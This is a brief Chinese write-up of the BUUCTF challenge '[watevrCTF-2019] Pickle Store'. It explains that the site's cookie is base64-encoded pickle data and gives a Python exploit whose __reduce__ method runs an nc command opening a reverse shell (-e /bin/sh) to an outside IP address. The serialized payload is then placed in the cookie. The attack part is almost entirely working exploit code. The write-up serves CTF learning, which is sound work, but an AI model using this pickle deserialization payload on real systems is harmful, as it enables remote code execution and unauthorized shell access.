BUUCTF：[watevrCTF-2019]Pickle Store

题目地址：https://buuoj.cn/challenges#[watevrCTF-2019]Pickle%20Store

Pickle反序列化

使用pickle.loads()和base64对这串字符进行解码反序列化

利用Pickle反序列化exp反弹shell
在Buu的小号上开一台内网靶机

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 174.2.124.251 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

靶机nc监听：

将生成的base64序列化字符串，放入cookie刷新即可